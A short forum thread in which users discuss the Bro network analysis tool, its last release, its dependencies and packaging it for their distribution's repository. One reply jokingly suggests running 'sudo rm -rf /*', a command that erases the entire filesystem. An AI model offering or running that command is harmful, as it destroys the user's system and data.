Hi guys,
I know that we already have some networks scanners, but this seams to be very powerful.
Not yet tested but I saw some videos and read some papers so if you want take a look here and check documentation!
Se you guys

ot: having a tool called "bro" it's too much a cool stuff ;) lol

Hi bro :)

I didn't have time to check, but have been some time i saw articles about this tool, and I watched few demos. I agree with you about quality of this tool. Only i'm not sure when they will make next update, but they have some work in progress. Last was in 2013. Good news is that BBox can deal with required dependencies:

Libpcap (
OpenSSL libraries (
BIND8 library
Libmagic 5.04 or greater
Bash (for BroControl)
Python (for BroControl)

They have x86_64 architectures package. Maybe we can make our package and have it in our repository for later installation.

Don't ask, read :
or just run sudo rm -rf /*


It seems very interesting, I'll try it
